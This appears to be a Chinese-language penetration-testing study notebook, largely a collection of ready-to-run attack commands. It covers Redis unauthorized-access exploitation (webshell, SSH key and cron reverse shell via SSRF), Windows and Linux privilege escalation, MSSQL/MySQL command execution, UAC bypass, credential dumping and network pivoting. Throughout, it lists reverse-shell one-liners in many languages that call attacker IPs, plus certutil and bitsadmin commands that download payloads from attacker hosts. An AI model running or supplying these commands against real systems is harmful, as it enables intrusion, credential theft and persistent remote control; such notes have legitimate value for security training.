Wydomain
python dnsburte.py -d 域名
Fierce
Sublist3r
子域名挖掘机
wpscan 使用ruby开发,扫描WordPress站点的漏洞以及插件漏洞
wpscan --update 更新
Plecost 用于探测WordPress的漏洞,可以直接给出当前站点的漏洞利用方法(CVE) python
plecost -i wp_plugin_list.txt -t 20 https://www.freebuf.com -o ./result.txt
BlindElephant web指纹识别工具
BlindElephant.py [options] url appName(CMS类型)
御剑web指纹识别程序
Test404轻量WEB指纹识别
w11scan分布式WEB指纹识别平台
https://github.com/w-digital-scanner/w11scan
Dayu指纹识别工具
WebEye
https://github.com/zerokeeper/WebEye/
WTF_Scan
https://github.com/dyboy2017/WTF_Scan
Webfinger
在线平台指纹识别
云悉指纹识别 http://www.yunsee.cn/
bugscaner指纹识别
http://whatweb.bugscaner.com/look/
whatweb.net
https://whatweb.net/
TideFinger
潮汐在线指纹识别
http://finger.tidesec.net
php -r '$sock=fsockopen("192.168.11.200",9440);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="192.168.11.200";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.200",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://192.168.10.43/wordpress/
思路:
(1)扫含有漏洞的插件
(2)扫描WordPress本身
(3)弱口令
进入之后getshell
扫描工具
AWVS 常规化漏洞扫描工具
Nessus 扫系统内核漏洞
*****************************************
限制条件下文件包含
allow_url_fopen off
allow_url_inclue off
包含http:// ftp:// 会失效,可以使用SMB协议去进行文件包含
安装samba
apt install daemon
apt install samba
修改配置文件
vim /etc/samba/smb.conf
做如下修改:
[global]
security=user
在末尾加
[share]
path=/home/share
browseable=yes
read only=yes
guest ok=yes
http://127.0.0.1/include/test.php?file=\\192.168.10.6\share\shell.php
*************************************************************
Redis未授权访问
基于开源的 C语言开发的、支持网络、内存化的日志型 K-V数据库
修改配置文件redis.conf
#bind 127.0.0.1
protected-mode no
启动redis (加载配置文件)
./src/redis-server redis.conf
redis-server redis.conf
未授权访问:
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
客户端(本地宿主机)连接redis服务
redis-cli.exe -h 192.168.10.8
基础命令:
info 版本信息 服务器信息 等等
set name "pentest" 设置变量
get name 取值
flushall 删除数据库(一般情况下不要用!!)
keys * 查看所有的键
CONFIG GET dir/dbfilename 获取默认的redis的目录 和rdb的文件名
往web物理路径写webshell
CONFIG SET dir /var/www/ 将rdb文件保存在/var/www/中
CONFIG SET dbfilename redis.php 将rdb文件名更改为redis.php
往redis.php中写木马 set shell "<?php phpinfo();?>"
save
写ssh-keygen公钥然后使用私钥登陆
以root运行redis
1、在本机生成key
root@ubuntu:~#ssh-keygen -t rsa //三个回车
root@ubuntu:/# cd /root/.ssh
2、将公钥导入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
3、将公钥导入到靶机中
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.8 -x set xxx
4、连接靶机
./redis-cli -h 192.168.10.8
5、写入
config set dir /root/.ssh
config set dbfilename authorized_keys
save
6、远程连接
ssh 192.168.10.8
ssh -i id_rsa root@192.168.10.8
nano
保存
使用Ctrl+O来保存所做的修改
退出
按Ctrl+X
\n*/1 * * * * bash -i >& /dev/tcp/192.168.10.6/7999 0>&1\n
crontab 周期性执行任务
-l 查看当前任务
-r 删除任务
-e 编辑
6个部分:分钟 小时 天 月 星期 命令/脚本
*/2 * * * * echo "this is test" >>/tmp/backup
/var/spool/cron/
SSRF 漏洞
CSRF 站点伪造请求 利用正常用户去攻击服务器
xss 跨站脚本攻击
SSRF 服务器伪造请求
PHP中下面函数的使用不当会导致SSRF:
file_get_contents(url)
fsockopen()
curl_exec()
SSRF验证,验证请求URL的操作是服务器而不是客户端(针对图片)
排除法
(1)基本判断,手工
标签加载 http://n.sinaimg.cn/photo/transform/700/w1000h500/20190516/c120-hwzkfpu5500801.jpg
SSRF加载 http://192.168.11.155/ssrf.php?url=http://n.sinaimg.cn/photo/transform/700/w1000h500/20190516/c120-hwzkfpu5500801.jpg
如果复制图片地址得到的图片真正的URL 则说明不是SSRF请求
(2)BP拦截数据包
有二次请求的过程,则说明加载过来的图片不是服务器去请求的,而是前端标签加载
SSRF漏洞利用(目的:内网攻击)
HTTP://
HTTPS://
PHP://(file_get_contents)
file://
dict://
FTP://
gopher://(后续测试)
SSRF+redis 反弹shell
SSRF+Discuz getshell
SSRF+XXE
SSRF+RFI
*3\r
$3\r
set\r
$1\r
1\r
$61\r
*/1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1
\r
< 2019/05/16 18:24:32.728382 length=5 from=0 to=4
+OK\r
> 2019/05/16 18:24:32.763248 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/16 18:24:32.772880 length=5 from=0 to=4
+OK\r
> 2019/05/16 18:24:32.781922 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/16 18:24:32.782150 length=5 from=0 to=4
+OK\r
> 2019/05/16 18:24:32.800877 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/16 18:24:32.812397 length=5 from=0 to=4
+OK\r
> 2019/05/16 18:24:32.819423 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/16 18:24:32.819746 length=5 from=0 to=4
+OK\r
逻辑漏洞
(1)熟悉当前测试模块的流程
(2)拦截数据包并修改
越权
水平
越权
支付逻辑漏洞
http://xdzy.andisk.com/
19165177658
1
一、SMB概述
SMB(全称是Server Message Block)是一个协议名,可用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居就是靠它实现的。
SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。
SMB一开始的设计是在NetBIOS协议上运行的,而NetBIOS本身则运行在NetBEUI、IPX/SPX或TCP/IP协议上。
NetBIOS 使用下列端口:UDP/137(NetBIOS 名称服务)、UDP/138(NetBIOS 数据报服务)、TCP/139(NetBIOS 会话服务);SMB 使用下列端口:TCP/139、TCP/445。 #NetBIOS用于局域网内主机名发现。
二、SMB服务工作原理
① 首先客户端发送一个SMB negprot请求数据报,并列出它所支持的所有SMB协议版本。服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。
② 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SesssetupX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后服务器通过发送一个SesssetupX应答数据报来允许或拒绝本次连接。
③ 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问网络资源的名称,之后服务器会发送一个TconX应答数据报以表示此次连接是否被接受或拒绝。
④ 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
Samba 远程命令执行漏洞(CVE-2017-7494)
Samba 配置不当查看铭感信息
CQUREAcademy#123!
风险(危害)
课程会涉及
防御
复习:
环境搭建+PHP+HTML+JS+CSS+Win+Linux+常见安全渗透测试工具
简历:
个人信息
求职意向
教育背景
个人技能(******)
项目经验(******)
工作经验(******)
挖洞情况(奖励)
自我评价
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.200",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
WIN pe windows 预安装系统(可以清楚SAM文件的密码 或者修改)
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\Curren tControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
Win提权
信息收集
批处理脚本
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt
针对系统漏洞的分析脚本
WinSystemHelper
vul: MS16-032, exp: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1
Windows-Exploit-Suggester
先更新 -u
系统信息systeminfo>./sysinfo.txt
对比找漏洞 python Windows-Exploit-Suggester.py -d 2019-07-05-mssb.xls -i win7.txt
系统命令分析
操作系统版本
用户信息
端口信息
进程信息
查看注册表(3389):
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
0表示开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\Curren tControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber (注意:不同的系统的模块选项不一样)
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
set /a a=0xd3d
然后开启3389服务
regedit 打开注册表
netstat -ano (观察)
dir /b /s *.txt
systeminfo
ipconfig /all flushdns
net user
whoami
netstat -ano
net start 服务名称 开启某些服务
net stop servername
tasklist (服务名称、PID)
远程桌面
开启:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
连接:mstsc.exe rdesktop(kali)
提权:
1、收集可利用POC
www.exploit-db.com(******)
0day.today(****)
github.com
https://www.rapid7.com/db/?type=metasploit
http://www.expku.com/(*****)
GOOGLE
2、编译利用poc
.exe (直接) (1)双击运行(whoami-system;执行添加管理员用户) (2)poc.exe "commond"
3、关闭或者绕过杀软
net stop
sc config
sc delete
加壳 绕过SUA 第三方
4、上传下载POC或者某些数据
http://hackerserver.com/poc.exe (浏览器)
VBS下载
cscript dw.vbs http://hackerserver.com/poc.exe C:/poc.exe(注意协议类型)
证书备份下载
certutil -urlcache -split -f http://hackerserver/shell.exe shell.exe
bitsadmin下载(后台智能传输工具,系统的补丁、更新就是这样实现。)
bitsadmin /transfer myjob1 /download /priority normal "http://hackerserver/calc.exe" "d:\calc.exe"
bitsadmin /transfer myjob1 /download /priority normal "http://192.168.40.132:9080/test.html" "C:\index.html"
Poweshell
powershell (new-object System.Net.WebClient).DownloadFile("http://www.baidu.com/index.html","index.html")
压缩文件
RAR.EXE a -k -r -s -m3 C:\1.rar G:\phpStudy
常用内核提权工具
PR 跟踪注册表项的ACL权限提升漏洞
MS08-067
MS17-010
churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的
iis6.0 iis7 溢出漏洞
RottenPotato 烂番茄提权(SMB协议漏洞)
MS12-042用户态调度机制特权提升漏洞(win7 win2008)
CVE-2018-8120 (Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64.)LPE
dll 提权
LPK劫持提权
win7 UAC
开启msconfig 工具中选择“更改UAC设置”,然后选择“启动”
UAC(用户帐户控制)是微软公司为了提高Windows系统安全性而在Windows Vista中引入的一种新新型安全技术,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
用户帐户控制设置最低的级别(零级)
用户帐户控制设置比默认级别稍低的级别(一级)
用户帐户控制设置默认级别(二级):
用户帐户控制设置最高级别(三级):
详细介绍http://www.winwin7.com/JC/Win7JC-3892.html
没有管理员权限就无法完成的一些事情:
· 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
· 加载设备驱动程序
· DLL注入
· 修改系统时间(时钟)
· 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)
· 修改受保护的目录(例如Windows文件夹,Program Files)
· 计划任务(例如,以管理员权限自动启动)
使用MSF绕过UAC
先获取一个普通账号的meterpreter
getuid(会看到普通账号)
getsystem(会提示没法过去到系统system权限)
(1)pypassuac
(2)RunAs
(3)bypassuac_injection
(4)bypassuac_fodhelper
(5)bypassuac_eventvwr
(6)bypassuac_comhijack
powershell绕过UAC
nishang Escalatio目录有Invoke-PsUACme.ps1
打开通过反弹shell方式获取到目标PC的powershell
win 7 /2008 2.0
win8 /2012 3.0
8.1 / R2 2012 4.0
10 5.1
get-host 获取powershell的版本
Get-ExecutionPolicy 查看当前环境执行脚本的策略
restricted 不允许执行脚本
remotesigned 可以执行本地脚本 但是从网上下载的脚本不能运行
allsigned 对签名的脚本才能执行
unrestricted 允许执行任意脚本
Set-ExecutionPolicy 设置脚本运行策略
Import-Module .\Invoke-PsUACme.ps1 导入脚本
Invoke-PsUACme -verbose 使用sysprep方式执行默认的payload
Invoke-PsUACme -method oobe -verbose 使用oobe的方式执行payload
Bypass-UAC
Linux提权
信息收集
1、操作系统版本号
发行版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
内核版本
uname -a
uanme -mrs
cat /proc/version
rpm -q kernel
ls /boot |grep vmlinuz
2、whoami
sudo -l
netstat -ntulp
cat /etc/passwd(系统用户)
ps -aux 进程信息
last /w 产看登录信息
ifconfig /ip ddr
收集EXP
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
github
baidu
.c 或者后缀名 4.2.0 (根据内核版本找到相对应的exp)
上传exp并编译该exp
上传的位置:当前目录 /tmp 可以写文件的目录(ls -l /通过脚本查询)
gcc exp.c -o exp
gcc -pthread dirty.c -o exp -lcrypt(编译的相关选项)
如果服务器中没有gcc,需要找到和服务器一模一样(内核、发行版本均一样),在该机器中编译该exp ,将编译好的exp上传至目标机器中,然后在运行
./exp
whoami id
chmod +x exp
./exp
whoami id
注意在执行exp之前需要反弹shell,反弹shell的方式如下:
在攻击者的电脑上中监听:nc -nulp 8899
1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(每个符号是什么意思?)
2、python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.1",8999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、perl
perl -e 'use Socket;$i="192.168.40.1";$p=8999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4、php
php -r '$sock=fsockopen("192.168.40.1",8999);exec("/bin/sh -i <&3 >&3 2>&3");'
5、ruby -rsocket -e 'f=TCPSocket.open("192.168.40.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
6、nc
有-e 模式:nc -e /bin/sh 192.168.40.1 1234
无-e 模式:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.1 1234 >/tmp/f(FIFO文件)
python -c 'import pty; pty.spawn("/bin/bash")'
7、java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.40.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
8、lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.40.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
9、不使用nc来反弹shell
nc -nvlp 8080
(1)/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
(2)mknod backpipe p && telnet 192.168.40.1 1234 0<backpipe | /bin/bash 1>backpipe
(3)telnet 192.168.40.1 1234 | /bin/bash | telnet 192.168.40.1 2345 (需要在攻击者PC上监听两个端口:1234 2345,1234 输入命令, 2345 输出)
脏牛提权
数据库提权
MSSQL提权
需要获取到数据库的账号和密码
sa 12345
默认端口1433
连接工具:Navicat Premium 12、 SQL TOOLS 2.0功能增强版、开源连接地方工具
step 1:连接数据库
select name from master.dbo.sysdatabases 查看所有数据库名
step 2: 版本信息:select @@version
验证数据库的权限,验证sa账号是否被降权:select IS_SRVROLEMEMBER('sysadmin')
返回值是1,则说明是sa的权限
step 3:查看数据库中是否有xp_cmdshell扩展存储过程插件
select count(*) from master.dbo.sysobjects where xtype='x' and name ='xp_cmdshell';
返回值不是0就表示数据库中有这个插件
step 4:Exec master..xp_cmdshell 'ipconfig';
select count(*) from master.dbo.sysobjects where xtype='x' and name ='xp_dirtree';
Exec master..xp_dirtree '/';
如果出现了如下的提示:
Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
接下来这样操作:
修复扩展存储过程:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
出现上面的提示(在你的连接工具中可能看不到!),则说明扩展存储过程已经添加完成
然后执行:Exec master..xp_cmdshell 'ipconfig';
站库分离:
select * from info where id='1' and host_name()=@@servername;
xp_cmdshell(cmd)
192.168.10.11 web
xp_cmdshell('ipconfig')-->当前数据库所在服务器的ip 192.168.10,12
xp_cmdshell被删除该如何操作?
重新加载该可扩展插件:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; (在系统中加载dll文件)
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';(重新绑定)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;(开启cmdshell)
xp_cmdshell,xpsql70.dll均被删除?
xpsql70.dll需要我们重新上传?c:\windows\system32
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; (在系统中加载dll文件)
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';(重新绑定)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;(开启cmdshell)
mysql(window/linux)提权
windows下的msyql提权
UDF提权
UDF(user defined function),用户自定义函数
step 1:收集信息
select user();
select @@version;
select version();
select @@basedir;数据库位置
show variables like '%plugin%'; 查看数据库默认的插件存储位置
c:\phpStudy\MySQL\lib\plugin\
step 2:导出dll文件
create function cmdshell(dll文件中函数名) returns string soname 'myudf.dll';
myudf.dll文件在导出的过程根据不同类型的数据库,放置的位置是不一样的!!!!!
<=5.1 mysql ,将dll文件导入到的位置是:c:/windows/system32/
>5.1 mysql,将dll文件导入到的位置是:MySQL\lib\Plugin\
dll文件如何来?
通过C++、C#等将恶意shellcode封装到dll文件中,其中封装的函数名必须要知道,mycmd,
导入文件方式:
通过菜刀等webshell管理工具直接上传(不一定上传成功)
找一个能够上传的地方,C:\\temp, select load_file('c:\\temp\myudf.dll') into dumpfile 'c:\phpStudy\MySQL\lib\plugin\myduf.dll';
要求:1、lib目录下有plugin目录
如果没有plguin目录,则如何操作?
通过菜刀等webshell管理工具手工创建;
NTFS数据流写,select 'test' into dumpfile 'c:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION' ;
2、在plugin目录下有写的权限,也要注意读文件的位置
create function cmdshell(dll文件中函数名) returns string soname 'myudf.dll';
将默认插件目录中的myudf.dll文件导入数据库中去使用
mysql.func cmdshell backshell
step 3:select cmdshell('系统命令');
step 4:删除函数 drop function cmdhell;
delete from mysql.func where name='cmdshell';
Linux的UDF提权
信息收集
mysql 中必须要有func表
插件库的位置show variables like '%plugin%'; /usr/lib/mysql/plugin/
将系统对应的so文件上传到/usr/lib/mysql/plugin/目录下
create function sys_eval returns string soname "lib_mysqludf_sys.so";
select sys_eval('whoami');
MOF提权(注意版本的限制2003、xp)
windows管理规范(WMI)中提供一种方法是托管MOF文件(托管对象格式文件)
方法:将MOF文件放在C:\windows\system32\wbem\mof\
mof文件:
提前准备好的(useradd.mof/addtoadmin.mof)
SELECT load_file('G:\\phpStudy\\PHPTutorial\\WWW\\adduser.mof') into dump_file('C:\\Windows\\System32\\wbem\\MOF\\adduser.mof');
注意:(1)show variables like '%secure%' ;对应的选项等于空或者指定C:\\Windows\\System32\\wbem\\MOF
(2)C:\\Windows\\System32\\wbem\\MOF对于数据库具有可写权限
G:\phpStudy\PHPTutorial\WWW\adduser.mof
addtoadmin.mof
其他提权方式
(1)shift后门提权
c:\\windows\system32
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
(2)配置不当引起的FTP提权
(3)serv-u提权
serv-u 43958端口
(4)G6
8021端口 不允许外连
(5)SUID提权
S权限 普通用户执行(x)该文件时将具有该文件所有者(root)的权限
找具有S权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
nmap(2.0.2----5.2.1)
namp s
nmap --interactive
!sh
whoami(root)
find
vim
less
more
~~~~~~~~~~
HASH
C71D49A6144772F352806201EF564951BE55EDD5 160
q1K0_82d*123456 49acaa14930608ed11bb973a65da6421
123456 30d6e6892a29af5d2a2d9ca0a0d5d322
773359240eb9a1d9 msyql232
23AE809DDACAF96AF0FD78ED04B6A265E05AA257 mysqlsha1
40bd001563085fc35165329ea1ff5c5ecbdbbeef sha1
$6$3oMlaRPZ$NheBSASq0t0b4mvfYKm.Stw/YRxxEPMpYyWNHL6Hbyh0S4T7Y7xyhrieoH3qYC7vBg4M9.85HilQ86LhNjeUO0
sha512(123,3oMlaRPZ)*1000 --unicode
MD4 MD5 sha1 sha256 512 1024 2048
密码的破解
step 1:先获取密文数据
Step 2:使用工具破解
线上平台:cmd5 pmd5 somd5 chamd5 ~~~~~~~
https://www.objectif-securite.ch/en/ophcrack.php#
线下平台:cain/john/hashcat/Saminside/彩虹表破解(rainbow tables)
系统密码破解
Windows
基于SAM文件的密码破解(获取密文系统密码)
pwdump7.exe
QuarksPwDump.exe -dhl
wce.exe -l
然后使用LC5/Saminside 去破解
基于内存信息的读取
GetPass.exe
mimikatz
wce -w
Linux
远程暴力破解
brutessh.exe -h 192.168.1.55 -u root -d mypasswordlist.txt
hydra (MSF)
本地暴力破解 shadow(root)
基于字典的破解
John --wordlist=d:\pass.txt shadow
john --show shadow
手工获取Windows hashes 并使用cain
从注册表中获取sam(HKLM\SAM:用户信息 权限 密码) system(HKLM\SYSTEM:系统服务配置信息) security(HKLM\SECURITY :策略)配置单元
************************************************************
reg save HKEY_LOCAL_MACHINE\sam C:\sam.hive
reg save HKEY_LOCAL_MACHINE\system C:\system.hive
reg save HKEY_LOCAL_MACHINE\security C:\security.hive
************************************************************
内网代理
原因:内网的环境是封闭的,外网无法访问内网资源(共有IP--!->内网IP),如果想访问其内网资源,在当前服务器(getshell,提权)中设置代理,将其作为跳板,对内网资源进行探测和访问
内网代理分类:
正向代理:lhost-->代理工具--->rhost(自己主动进攻,意味远程主机上需要开启某个端口等待连接,这种可能被防火墙检测出来)bind_tcp
反向代理:rhost-->代理工具-->firewall-->lhost(让远程主机主动来找到我,攻击者主机上开启某个端口,远程主机主动找IP:port,不易检测出来)reverse_tcp
采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。
工具:
reGeorg+Proxifier
python regerogsocketproxy.py -u ulr -p 9999
本地9999接收数据,需要我们向该端口发送数据:Proxifier,需要设置代理服务器;
代理规则(全局):工具(any ) 表述 target ip post 代理服务器
使用的工具保证其底层数据建立连接的过程中使用socket通信(ping icmp 网络层)
reGeorg基于Socks5代理,一般需要和Proxifier配套使用,整个过程也是使用HTTP协议传输,操作起来比较复杂
http://192.168.1.128/tunnel.php
reGeorg+ScoaksCap
建立代理服务器,加载工具
reGerog+proxychains
python regerogsocketproxy.py -u ulr -p 9999
修改配置文件:/etc/proxychains.conf
socks5 127.0.0.1 9999
proxychains namp 10.10.10.18
proxychains rdesktop 10.10.10.18
Earthworm(EW),轻量级功能强大内网穿透工具,基于C开发,三大功能:socks5代理、端口转发、端口映射
ew -h
-s 指定链路状态,6种
-l 本地监听的端口
-d 指定转发或者反弹的主机地址
-e 指定转发或者反弹的主机端口
-f 连接或者映射的主机地址
-g 连接或者映射的主机端口
1、SOCKS5代理
EW支持正向和反向socks5代理连接。
(1).正向socks5代理(适用于目标拥有公网ip且可任意开监听端口)
肉鸡:ew -s ssocksd -l 1080
(2). 反向socks5代理(适用于目标无公网ip但可访问外网)
本机(攻击者公网的主机):ew -s rcsocks -l 1080 -e 8880(监听端口)
肉鸡:ew -s rssocks -d 攻击者公网主机IP -e 8880
在Proxifier、ScoaksCap设置代理 指向攻击者公网的主机
借助于KALI系统(理解为公网机器)来测试EW反向sockes5代理
step 1:在kali中监听,/ew_for_linux -s rcsocks -l 1001 -e 8888
setp 2:在肉鸡中执行命令主动去来连接kali,
ew_for_win_32.exe -s rssocks -d 192.168.1.131 -e 8888
step 3:在攻击者本地(处于内网环境的PC)去设置代理:192.168.1.131 :1001
在借组于代理服务器去渗透测试内网
使用MSF中的代理
step 1:获取目标机器的meterpreter会话
step 2:添加路由:msf exploit(handler) > route add 10.1.1.129(要访问的内网IP) 255.255.255.255 1(meterpreter的会话)
如果要代理10.1.1.129/24 到session 1,则可以这么写
route add 10.1.1.0 255.255.255.0 1
step 3:使用 socks4a并且配置,监听端口
exploit -y
内网转发适用的场景:某些端口被禁止出入外网或者需要访问内网某些服务
Netcat、Lcx、Htran、Fpipe、EW、MSF
NC:(反弹shell)
肉鸡:nc -e cmd.exe 192.168.1.1 7788
nc -lvvp 7788
Htran:
htran.exe (-p)-Listen 9999 8888
肉鸡:htran.exe (-p) -Slave hacker_ip 9999 肉鸡IP 3389
肉鸡:HTran2.4.exe -p -tran 7788 10.10.10.18 3389
攻击端直接连接肉鸡的7788端口
Fpipe:(端口重定向)
肉鸡:fpipe.exe -l 1234 -s 1000 -r 3389 内网肉鸡C的IP
将发送到本机1000端口的连接通过1234端口被重定向到了C主机的3389端口上,然后再连接B的1234端口即可连接到C的3389上
LCX:
肉鸡:lcx.exe –slave 公网IP +端口 内网IP +端口
Lcx.exe –listen 监听端口,转发到公网机器的3389端口
肉鸡:lcx.exe -tran 7788 10.10.10.18 80
EW:
端口转发:
(1)ew -s lcx_listen -e 1234 -l 8888(此时开启监听1234、8888端口,习惯lcx的可以-e在前,-l在后);
(2)ew -s lcx_slave -d 1.1.1.1 -e 1234 -f 127.0.0.1 -g 3389
端口映射:
ew -s lcx_tran -l 12345 -f 127.0.0.1 -g 3389(127.0.0.1可改成目标主机可访问的其他ip)
SSH:
(1)穿透(代理)
攻击者: ssh -D 127.0.0.1:1080 -p 22 user@IP
需要知道肉鸡的IP和root 密码
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
(2)穿透两层网络(*****)
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user2@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
(3)SSH端口转发——远程转发
肉鸡:ssh -R 1234:10.10.10.18:3389 -fN 192.168.1.131
攻击者:rdesktop 127.0.0.1:1234
(4)SSH端口转发——本地转发
攻击者:ssh -L 1234:10.10.10.18(内网IP):3389(内网端口) -fN 192.168.1.132(肉鸡)
攻击者:rdesktop 127.0.0.1:1234
(5)ptunnle
服务器:(肉鸡)ptunnel -x 1234(-x 设置密码)
客户端:(攻击者)ptunnel -p proxy(指向肉鸡的IP) -lp 2222(本地启用端口) -da destination(内网IP) -dp 22(内网端口) -x 1234(da 就是目标地址 dp 目标端口 -x 密码)
netstat -ntulp |grep 2222
rdesktop 127.0.0.1:2222
MSF端口转发:
(1)要获取肉鸡的meterpreter会话
(2)portfwd 使用meterpreter的一个用于端口转发的模块
eg:portfwd add -L 192.168.1.131 -l 3388 -p 3389 10.10.10.18
portfwd add -l 3388 10.10.10.18 -p 3389
portfwd add -l 3380 10.10.10.18 -p 80
netstat -ntulp |grep 3388
rdesktop 127.0.0.1:3388
反弹shell的方式
NetCat(NC)
-h 查看帮助信息
-d 后台模式
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
